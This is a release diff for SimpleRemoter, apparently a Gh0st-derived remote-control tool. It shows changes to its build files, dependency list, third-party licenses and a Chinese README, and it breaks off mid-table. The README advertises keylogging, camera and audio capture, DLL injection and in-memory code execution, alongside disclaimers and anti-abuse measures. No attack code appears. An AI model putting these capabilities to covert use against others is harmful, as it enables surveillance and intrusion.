Release v1.3.5

Increase touch move threshold to prevent accidental drag detection.

Simulate physical double-click with two sequential click events and a 20ms delay instead of using non-standard dblclick event.

Fix folder renaming and unresponsiveness issues on Windows, Linux, and macOS.

.gitattributes

@@ -1,6 +1,10 @@
 # Auto detect text files and perform LF normalization
 * text=auto
 
+# Shell scripts must keep LF line endings even when checked out on Windows,
+# otherwise Linux refuses them with "bad interpreter: /usr/bin/env^M".
+*.sh text eol=lf
+
 # Custom for Visual Studio
 *.cs     diff=csharp
 

.gitignore

@@ -81,6 +81,7 @@ Releases/*
 linux/Makefile
 linux/cmake_install.cmake
 .vs
+client/ghost_vs2015.vcxproj.user
 docs/macOS_Support_Design.md
 settings.local.json
 *.zip
@@ -90,3 +91,7 @@ YAMA.code-workspace
 .vscode/settings.json
 Bin/*
 nul
+server/go/web/assets/index.html
+server/go/users.json
+server/go/build/
+server/go/.claude/settings.json

Dependencies.md

@@ -11,6 +11,14 @@
 - [jpeg v3.1.1](https://github.com/libjpeg-turbo/libjpeg-turbo)
 - [opus-1.6.1](https://opus-codec.org/release/stable/2026/01/14/libopus-1_6_1.html)
 - [libpeconv c7d1e48](https://github.com/hasherezade/libpeconv)
+- [libvpl v2.16.0](https://github.com/intel/libvpl)
+- [dav1d 62501cc](https://github.com/videolan/dav1d)
+
+## execution
+
+- [MemoryModule](https://github.com/fancycode/MemoryModule.git)
+- [sRDI](https://github.com/Drewsif/sRDI.git)
+- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode.git)
 
 ## *Note*
 

LICENSE-THIRD-PARTY.txt

@@ -0,0 +1,279 @@
+THIRD-PARTY SOFTWARE NOTICES AND LICENSES
+
+This document contains intellectual property notices and license information for 
+third-party software components used in this product.
+
+================================================================================
+SUMMARY OF LICENSE TYPES
+================================================================================
+The third-party components included in this software are governed by the following 
+open-source licenses. For complete compliance, ensure that any modifications to 
+LGPL and MPL covered components are made available under their respective terms, 
+and this text file is distributed with your software product.
+
+1. Zlib License
+   - zlib v1.3.2
+2. BSD 3-Clause License
+   - zstd v1.5.7
+   - libyuv v190
+   - jpeg (libjpeg-turbo) v3.1.1
+   - opus-1.6.1
+3. BSD 2-Clause License
+   - libpeconv c7d1e48
+   - pe_to_shellcode
+4. MIT License
+   - jsoncpp v1.9.6
+   - sRDI
+5. GNU Lesser General Public License v2.1 (LGPL v2.1)
+   - ffmpeg v7.1 (Compiled in shared, non-GPL mode)
+6. Mozilla Public License v2.0 (MPL 2.0)
+   - MemoryModule
+
+================================================================================
+1. zlib v1.3.2 (Zlib License)
+================================================================================
+Copyright (C) 1995-2024 Jean-loup Gailly and Mark Adler
+
+This software is provided 'as-is', without any express or implied
+warranty.  In no event will the authors be held liable for any damages
+arising from the use of this software.
+
+Permission is granted to anyone to use this software for any purpose,
+including commercial applications, and to alter it and redistribute it
+freely, subject to the following restrictions:
+
+1. The origin of this software must not be misrepresented; you must not
+   claim that you wrote the original software. If you use this software
+   in a product, an acknowledgment in the product documentation would be
+   appreciated but is not required.
+2. Altered source versions must be plainly marked as such, and must not be
+   misrepresented as being the original software.
+3. This notice may not be removed or altered from any source distribution.
+
+================================================================================
+2. zstd v1.5.7 (BSD 3-Clause License)
+================================================================================
+Copyright (c) 2016-present, Facebook, Inc. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+ * Neither the name Facebook nor the names of its contributors may be used to
+   endorse or promote products derived from this software without specific
+   prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+================================================================================
+3. libyuv v190 (BSD 3-Clause License)
+================================================================================
+Copyright 2011 The LibYuv Project Authors. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+ * Neither the name of Google nor the names of its contributors may be used to
+   endorse or promote products derived from this software without specific
+   prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+================================================================================
+4. jpeg (libjpeg-turbo) v3.1.1 (BSD 3-Clause / IJG License)
+================================================================================
+Copyright (C) 2009-2024 D. R. Commander. All Rights Reserved.
+Copyright (C) 2015 Viktor Szathmáry. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification,
+are permitted provided that the following conditions are met:
+
+- Redistributions of source code must retain the above copyright notice, this
+  list of conditions and the following disclaimer.
+- Redistributions in binary form must reproduce the above copyright notice,
+  this list of conditions and the following disclaimer in the documentation
+  and/or other materials provided with the distribution.
+- Neither the name of the libjpeg-turbo Project nor the names of its
+  contributors may be used to endorse or promote products derived from this
+  software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+================================================================================
+5. opus-1.6.1 (BSD 3-Clause License)
+================================================================================
+Copyright 2001-2011 Xiph.Org, Skype Limited, Octasic,
+                   Jean-Marc Valin, Timothy B. Terriberry,
+                   CSIRO, Gregory Maxwell, Mark Borgerding,
+                   Erik de Castro Lopo
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+- Redistributions of source code must retain the above copyright
+notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+notice, this list of conditions and the following disclaimer in the
+documentation and/or other materials provided with the distribution.
+
+- Neither the name of the Xiph.Org Foundation nor the names of its
+contributors may be used to endorse or promote products derived from
+this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION
+OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+================================================================================
+6. libpeconv c7d1e48 & pe_to_shellcode (BSD 2-Clause License)
+================================================================================
+Copyright (c) 2020, hasherezade
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+================================================================================
+7. jsoncpp v1.9.6 (MIT License)
+================================================================================
+Copyright (c) 2007-2010 The JsonCpp Authors
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
+
+================================================================================
+8. sRDI (MIT License)
+================================================================================
+Copyright (c) 2017 Drewsif
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+
+================================================================================
+9. ffmpeg v7.1 (GNU Lesser General Public License v2.1)
+================================================================================
+This software uses libraries from the FFmpeg project (v7.1), licensed under the 
+GNU Lesser General Public License (LGPL) version 2.1.
+FFmpeg is a trademark of Fabrice Bellard, originator of the FFmpeg project.
+
+Our product links to FFmpeg dynamically as a shared library (.dll/.so/.dylib) 
+and does NOT enable any GPL-licensed plugins (such as x264).
+
+The source code of FFmpeg v7.1 can be obtained from the official FFmpeg 
+website (https://ffmpeg.org). If you require the exact build script and build 
+configuration used by our product to build the FFmpeg binary, please contact 
+our open-source compliance team.
+
+================================================================================
+10. MemoryModule (Mozilla Public License v2.0)
+================================================================================
+This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. 
+If a copy of the MPL was not distributed with this file, You can obtain one at 
+http://mozilla.org/MPL/2.0/.
+
+MemoryModule is Copyright (c) Joachim Bauch.
+
+Under the terms of the MPL 2.0, you may distribute this component as part of 
+your commercial/proprietary application without being required to open-source 
+your own proprietary code, provided that:
+1. MemoryModule source files remain unmodified, or if modified, those modifications 
+   are made available under the MPL 2.0.
+2. Users are informed that MemoryModule is used and where they can find its source.

ReadMe.md

@@ -9,18 +9,18 @@
   <a href="https://github.com/yuanyuanxiang/SimpleRemoter/network/members">
     <img src="https://img.shields.io/github/forks/yuanyuanxiang/SimpleRemoter?style=flat-square&logo=github" alt="GitHub Forks">
   </a>
-  <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases">
+  <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases">
-    <img src="https://img.shields.io/github/v/release/yuanyuanxiang/SimpleRemoter?style=flat-square" alt="GitHub Release">
+    <img src="https://img.shields.io/gitea/v/release/yuanyuanxiang/SimpleRemoter?gitea_url=https%3A%2F%2Fgit.simpleremoter.com&style=flat-square&logo=gitea" alt="Gitea Release">
   </a>
-  <img src="https://img.shields.io/badge/platform-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Platform">
+  <img src="https://img.shields.io/badge/client-Windows%20%7C%20Linux%20%7C%20macOS-blue?style=flat-square" alt="Client Platforms">
-  <img src="https://img.shields.io/badge/language-C%2B%2B17-orange?style=flat-square&logo=cplusplus" alt="Language">
+  <img src="https://img.shields.io/badge/server-Windows%20%7C%20Linux%20%7C%20macOS-success?style=flat-square" alt="Server Platforms">
-  <img src="https://img.shields.io/badge/IDE-VS2019%2B-purple?style=flat-square&logo=visualstudio" alt="IDE">
+  <img src="https://img.shields.io/badge/language-C%2B%2B17%20%2F%20Go-orange?style=flat-square&logo=cplusplus" alt="Language">
   <img src="https://img.shields.io/badge/license-MIT-green?style=flat-square" alt="License">
 </p>
 
 <p align="center">
-  <a href="https://github.com/yuanyuanxiang/SimpleRemoter/releases/latest">
+  <a href="https://git.simpleremoter.com/yuanyuanxiang/SimpleRemoter/releases/latest">
-    <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=github" alt="Download Latest">
+    <img src="https://img.shields.io/badge/Download-最新版本-2ea44f?style=for-the-badge&logo=gitea" alt="Download Latest">
   </a>
 </p>
 
@@ -29,10 +29,7 @@
 > [!WARNING]
 > **重要法律声明**
 >
-> 本软件**仅供教育目的及授权使用场景**，包括：
+> 本软件**仅供教育目的及授权使用场景**：组织内远程 IT 管理、经授权的渗透测试与安全研究、个人设备管理与技术学习。
-> - 在您的组织内进行远程 IT 管理
-> - 经授权的渗透测试和安全研究
-> - 个人设备管理和技术学习
 >
 > **未经授权访问计算机系统属违法行为。** 使用者须对遵守所有适用法律承担全部责任。开发者对任何滥用行为概不负责。
 
@@ -41,13 +38,13 @@
 ## 目录
 
 - [项目简介](#项目简介)
-- [免责声明](#免责声明)
+- [本版本亮点：全平台闭环](#本版本亮点全平台闭环)
+- [合规与反滥用](#合规与反滥用)
 - [功能特性](#功能特性)
-- [技术亮点](#技术亮点)
+- [全平台支持](#全平台支持)
 - [系统架构](#系统架构)
 - [快速开始](#快速开始)
 - [用户文档](#用户文档)
-- [客户端支持](#客户端支持)
 - [更新日志](#更新日志)
 - [相关项目](#相关项目)
 - [联系方式](#联系方式)
@@ -56,25 +53,9 @@
 
 ## 项目简介
 
-**SimpleRemoter** 是一个功能完整的远程控制解决方案，基于经典的 Gh0st 框架重构，采用现代 C++17 开发。项目始于 2019 年，经过持续迭代已发展为支持 **Windows + Linux + macOS** 三平台的企业级远程管理工具。
+**SimpleRemoter** 是一个端到端跨平台的远程控制解决方案。
 
-### 核心能力
+项目核心基于经典 **Gh0st 架构**，最早始于 2019 年 1 月。历经 7 年持续迭代——从 IOCP 通信内核重构、x264 视频级编码、V2 文件传输协议、多层授权体系，到 Linux 与 macOS 客户端的引入——本版本最终完成**客户端 + 服务端的全平台闭环**：三大桌面操作系统（Windows / Linux / macOS）在任一侧都可作为受控端或主控端。
-
-| 类别 | 功能 |
-|------|------|
-| **远程桌面** | 实时屏幕控制、多显示器支持、H.264 编码、自适应质量 |
-| **文件管理** | 双向传输、断点续传、C2C 传输、SHA-256 校验 |
-| **终端管理** | 交互式 Shell、ConPTY/PTY 支持、现代 Web 终端 |
-| **系统管理** | 进程/服务/窗口管理、注册表浏览、会话控制 |
-| **媒体采集** | 摄像头监控、音频监听、键盘记录 |
-| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
-
-### 适用场景
-
-- **企业 IT 运维**：批量管理内网设备，远程故障排查
-- **远程办公**：安全访问办公电脑，文件同步传输
-- **安全研究**：渗透测试、红队演练、安全审计
-- **技术学习**：网络编程、IOCP 模型、加密传输实践
 
 **原始来源：** [zibility/Remote](https://github.com/zibility/Remote) | **起始日期：** 2019.1.1
 
@@ -82,36 +63,73 @@
 
 ---
 
-## 免责声明
+## 本版本亮点：全平台闭环
 
-**请在使用本软件前仔细阅读以下声明：**
+本项目长期以 **C++ MFC 主控**（`YAMA.exe`）为核心交付形态——经典 Gh0st 架构、IOCP 高性能内核、完整的远程桌面 / 文件 / 进程 / 媒体功能栈、多层授权体系、品牌定制——**至今仍是主要使用的主控**。MFC 主控内置了基于 WebSocket 的 Web 远程桌面服务，从 v1.3.1 起就已经支持**任意平台的浏览器**远控被管设备（手机/平板/Linux/macOS 桌面均可）。
 
-1. **合法用途**：本项目仅供合法的技术研究、学习交流和授权的远程管理使用。严禁将本软件用于未经授权访问他人计算机系统、窃取数据、监控他人隐私等任何违法行为。
+本版本（v1.3.4）补上了最后一块拼图——**Go 主控**：一个**功能简单、聚焦于"远程桌面 + 远程终端 + 多用户分级"** 的轻量服务端，跨 Windows / Linux / macOS 编译运行。它的定位**不是替代 MFC**，而是为那些**不便于跑 Windows VPS** 的用户提供一个原生的 Linux/macOS 主控落点——例如纯 Linux 服务器、ARM Mac 长驻、嵌入式主控箱等场景。
 
-2. **使用者责任**：使用者必须遵守所在国家/地区的法律法规。因使用本软件而产生的任何法律责任，由使用者自行承担。
+### 两种主控形态如何选择
 
-3. **无担保声明**：本软件按"现状"提供，不附带任何明示或暗示的担保，包括但不限于适销性、特定用途适用性的担保。
+| 形态 | GUI | 功能覆盖 | 平台 | 定位 |
+|---|---|---|---|---|
+| **C++ MFC 主控** (`YAMA.exe`) | 原生 Windows GUI + 内置 Web 服务 | ✅ **全部功能** | Windows | **主推方案**。日常运维、文件管理、媒体采集、多层授权、品牌定制等都用它 |
+| **Go 主控**（新） | Web UI（任何浏览器） | 远程桌面 + 远程终端 + 多用户 | Windows / Linux / macOS | **补充方案**。需要"零 Windows 依赖"的纯 Linux/macOS 主控部署 |
 
-4. **免责条款**：开发者不对因使用、误用或无法使用本软件而造成的任何直接、间接、偶然、特殊或后果性损害承担责任。
+> [!TIP]
+> 两种主控**用的是同一套客户端**——可以混搭，例如一台 Windows MFC 主控 + 一台 Linux Go 主控并行管理同一批设备群。
 
-5. **版权声明**：本项目采用 MIT 协议开源，允许自由使用、修改和分发，但必须保留原始版权声明。
+### Go 主控的核心能力（v1.3.4 新增）
 
-**继续使用本软件即表示您已阅读、理解并同意上述所有条款。**
+- **远程桌面**：H.264 流通过 WebSocket 直发浏览器，WebCodecs 硬解，1080P @ 20fps 流畅
+- **远程终端**：xterm.js + ConPTY/PTY，支持调整尺寸、Tab 补全
+- **多用户体系**：管理员 / 普通用户分级、Challenge-Response 登录、不透明 token、按设备组授权
+- **生产部署**：Nginx 反代 + Let's Encrypt + Keyboard Lock + 全屏控制、防止 ESC / F11 误退出
+- **故意保持轻量**：不包含文件管理、媒体采集、注册表、服务管理等 MFC 主控专属功能——这些请走 MFC 主控
+
+### 全平台支持矩阵
+
+|  | **客户端 (受控端)** | **主控端** |
+|---|---|---|
+| **Windows** | ✅ 完整功能 | ✅ MFC `YAMA.exe`（推荐）/ Go |
+| **Linux** (X11) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
+| **macOS** (Intel + Apple Silicon) | ✅ 屏幕 + 终端 + 文件 + 剪贴板 | ✅ Go |
+
+---
+
+## 合规与反滥用
+
+本项目长期坚持「明确的合规姿态」立场。本版本进一步收紧反滥用边界。
+
+### 内置技术措施
+
+源代码层面构筑多道独立可验证的反滥用屏障，详见 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md)：
+
+- **入站连接 IP 段校验**：试用版若被部署到公网会触发可见告警 latch
+- **监听端口上限**：试用版限制 ≤ 2 个监听端口，防多租户中转改造
+- **应用层 RTT 反代理**：LAN 内 RTT 阈值检测，反向代理 / 隧道会被识别
+- **多层授权架构**：V2 ECDSA 离线 + V1 在线 + 试用版分级，每一层限制独立
+- **Web 主控认证**：强制 Challenge-Response 登录、登录限流、不透明 token、操作可审计
+
+### 合规文档
+
+| 文档 | 内容 |
+|---|---|
+| 📖 [反滥用与合规使用政策](./docs/Compliance_AntiAbuse.md) | 完整的发行方-使用方责任划分 |
+| 📖 [反滥用技术措施清单](./docs/Compliance_TechnicalMeasures.md) | 每一道屏障的源代码位置、设计动机、已知局限 |
 
 > [!IMPORTANT]
-> **网络连接与隐私声明**
+> **使用本软件即视为您已阅读、理解并接受上述合规文档全部条款。** 如您不能或不愿接受任一条款，请立即停止使用并销毁本软件副本。
->
+
-> 主控程序（服务端）会根据授权状态与授权服务器进行网络通信：
+### 网络连接与隐私
->
+
-> | 版本类型 | 连接行为 |
+| 版本类型 | 连接行为 |
-> |---------|---------|
+|---|---|
-> | 试用版本 | 维持与授权服务器的持续连接 |
+| 试用版本 | 维持与授权服务器的持续连接 |
-> | V1/V2 授权版本 | 启动时连接验证，通过后断开 |
+| V1/V2 授权版本 | 启动时连接验证，通过后断开 |
-> | V2 离线授权版本 | 无需连接授权服务器 |
+| V2 离线授权版本 | 无需连接授权服务器 |
->
+
-> 除获得离线授权外，主控程序会与授权服务器进行必要的数据交互（如检测破解行为、验证授权有效性）。
+除获得离线授权外，主控程序会与授权服务器进行必要的数据交互（如检测破解行为、验证授权有效性）。
->
-> **使用本软件即表示您接受主控程序与授权服务器之间的数据传输。如您不同意，请勿使用本软件。**
 
 ---
 
@@ -121,240 +139,149 @@
 
 ![远程桌面](./images/Remote.jpg)
 
-- **多种截图方式**：GDI（兼容性强）、DXGI（高性能）、虚拟桌面（后台运行）
+- **多种屏幕捕获**：GDI / DXGI / 虚拟桌面（Windows）、X11 + XShm（Linux）、CGDisplayStream（macOS）
-- **智能压缩算法**：
+- **智能压缩**：DIFF 差分（SSE2 优化）/ RGB565（节省 50% 带宽）/ **H.264**（视频级压缩，x264 + VideoToolbox + WebCodecs）/ 灰度模式
-  - DIFF 差分算法 - SSE2 优化，仅传输变化区域
+- **自适应质量**：根据 RTT 自动调节帧率（5-30 FPS）、分辨率、压缩算法
-  - RGB565 算法 - 节省 50% 带宽
+- **多显示器**：多屏切换 + 多屏上墙
-  - H.264 编码 - 视频级压缩，适合高帧率场景
+- **跨设备文件拖拽**：Ctrl+C/V 跨设备复制粘贴文件
-  - 灰度模式 - 极低带宽消耗
+- **Web 远程桌面**：浏览器直接访问，手机/平板可用（[配置指南](./docs/WebHTTPS.md)）
-- **自适应质量**：根据网络 RTT 自动调整帧率（5-30 FPS）、分辨率和压缩算法
+
-- **多显示器**：支持多屏切换和多屏上墙显示
+![Web远程桌面](./images/WebRemote.png)
-- **隐私屏幕**：被控端屏幕可隐藏，支持锁屏状态下控制
-- **文件拖拽**：Ctrl+C/V 跨设备复制粘贴文件
-- **Web 远程桌面**：通过浏览器访问远程桌面，支持手机/平板（[配置指南](./docs/WebHTTPS.md)）
 
 ### 文件管理
 
 ![文件管理](./images/FileManage.jpg)
 
-- **V2 传输协议**：全新设计，支持大文件（>4GB）
+- **V2 传输协议**：支持 >4GB 大文件、断点续传、SHA-256 校验
-- **断点续传**：网络中断后自动恢复，状态持久化
 - **C2C 传输**：客户端之间直接传输，无需经过主控
-- **完整性校验**：SHA-256 哈希验证，确保文件完整
+- **批量操作**：搜索、压缩、批量传输
-- **批量操作**：支持文件搜索、压缩、批量传输
 
 ### 终端管理
 
-![终端管理](./images/Console.jpg)
+![终端管理](./images/LinuxClient.png)
 
-- **交互式 Shell**：完整的命令行体验，支持 Tab 补全
+- **交互式 Shell**：Tab 补全、ANSI 转义、调整尺寸
-- **ConPTY 技术**：Windows 10+ 原生伪终端支持
+- **现代终端**：Windows ConPTY、Linux/macOS PTY
-- **现代 Web 终端**：基于 WebView2 + xterm.js（v1.2.7+）
+- **Web 终端**：xterm.js + WebSocket，跟原生体验一致
-- **终端尺寸调整**：自适应窗口大小
-
-### 进程与窗口管理
-
-| 进程管理 | 窗口管理 |
-|---------|---------|
-| ![进程](./images/Process.jpg) | ![窗口](./images/Window.jpg) |
-
-- **进程管理**：查看进程列表、CPU/内存占用、启动/终止进程
-- **代码注入**：向目标进程注入 DLL（需管理员权限）
-- **窗口控制**：最大化/最小化/隐藏/关闭窗口
-
-### 媒体功能
-
-| 视频管理 | 语音管理 |
-|---------|---------|
-| ![视频](./images/Video.jpg) | ![语音](./images/Voice.jpg) |
-
-- **摄像头监控**：实时视频流，支持分辨率调整
-- **音频监听**：远程声音采集，支持双向语音
-- **键盘记录**：在线/离线记录模式
 
 ### 其他功能
 
-- **服务管理**：查看和控制 Windows 服务
+| 模块 | 能力 |
-- **注册表浏览**：只读方式浏览注册表内容
+|---|---|
-- **会话控制**：远程注销/关机/重启
+| **进程管理** | 进程列表、CPU/内存占用、终止、DLL 注入 |
-- **SOCKS 代理**：通过客户端建立代理隧道
+| **窗口管理** | 最大化/最小化/隐藏/关闭 |
-- **FRP 穿透**：内置 FRP 支持，轻松穿透内网
+| **媒体采集** | 摄像头、双向语音、键盘记录 |
-- **代码执行**：远程执行 DLL，支持热更新
+| **系统控制** | 服务管理、注册表、会话注销/关机 |
+| **网络功能** | SOCKS 代理、FRP 穿透、端口映射 |
+| **代码执行** | 远程执行 DLL、内存加载、热更新 |
 
 ---
 
-## 技术亮点
+## 全平台支持
 
-### 高性能网络架构
+### Windows 客户端
 
-```
+**系统要求**：Windows 7 SP1 及以上
-┌─────────────────────────────────────────────────────────┐
+**功能完整性**：✅ 全部功能支持
-│                    IOCP 通信模型                          │
-├─────────────────────────────────────────────────────────┤
-│  • I/O 完成端口：Windows 最高效的异步 I/O 模型            │
-│  • 单主控支持 10,000+ 并发连接                            │
-│  • 支持 TCP / UDP / KCP 三种传输协议                      │
-│  • 自动分块处理大数据包（最大 128KB 发送缓冲）             │
-└─────────────────────────────────────────────────────────┘
-```
 
-### 自适应质量控制
+### Linux 客户端（v1.2.5+）
 
-基于 RTT（Round-Trip Time）的智能质量调整系统：
+**系统要求**：
+- 显示服务器：X11/Xorg（暂不支持 Wayland）
+- 必需库：libX11；推荐库：libXtst（XTest 扩展）、libXss（空闲检测）
 
-| RTT 延迟 | 质量等级 | 帧率 | 分辨率 | 压缩算法 | 适用场景 |
+| 功能 | 状态 | 实现 |
-|---------|---------|------|--------|---------|---------|
+|---|---|---|
-| < 30ms | Ultra | 25 FPS | 原始 | DIFF | 局域网办公 |
